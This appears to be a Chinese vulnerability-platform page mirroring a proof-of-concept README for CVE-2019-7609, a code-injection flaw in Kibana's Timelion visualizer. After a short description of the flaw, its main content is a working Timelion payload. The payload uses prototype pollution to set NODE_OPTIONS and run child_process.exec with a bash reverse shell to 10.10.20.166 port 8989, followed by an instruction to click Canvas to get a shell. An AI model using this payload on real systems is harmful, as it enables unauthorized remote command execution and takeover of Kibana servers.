漏洞平台

POC详情： 6a9c8666de2e1f7504543cd90743784322839303

来源

关联漏洞

标题： Elasticsearch Kibana 代码注入漏洞 (CVE-2019-7609)
描述：Elasticsearch Kibana是荷兰Elasticsearch公司的一套开源的、基于浏览器的分析和搜索Elasticsearch仪表板工具。 Kibana 5.6.15之前版本和6.6.1之前版本中的Timelion visualizer存在安全漏洞。远程攻击者可通过发送请求利用该漏洞执行JavaScript代码并可能以Kibana进程权限执行任意命令。

描述

kibana < 6.6.0 未授权远程代码命令执行 (Need Timelion And Canvas),CVE-2019-7609

介绍

# CVE-2019-7609 kibana-RCE <6.6.0 未授权远程代码命令执行 (Need Timelion And Canvas)

![](./kibana_RCE.gif)


## 0x01 Timelion Run
```
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/10.10.20.166/8989 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
```
![](./version.jpg)
![](Timelion.jpg)

## 0x02 Click Canvas to getshell

![](./Canvas.jpg)

文件快照


 [4.0K]  /data/pocs/6a9c8666de2e1f7504543cd90743784322839303
├── [425K]  Canvas.jpg
├── [220K]  kibana_RCE.gif
├── [ 446]  README.md
├── [303K]  Timelion.jpg
└── [128K]  version.jpg

0 directories, 5 files

神龙机器人已为您缓存

备注

1. 建议优先通过来源进行访问。

2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。

3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。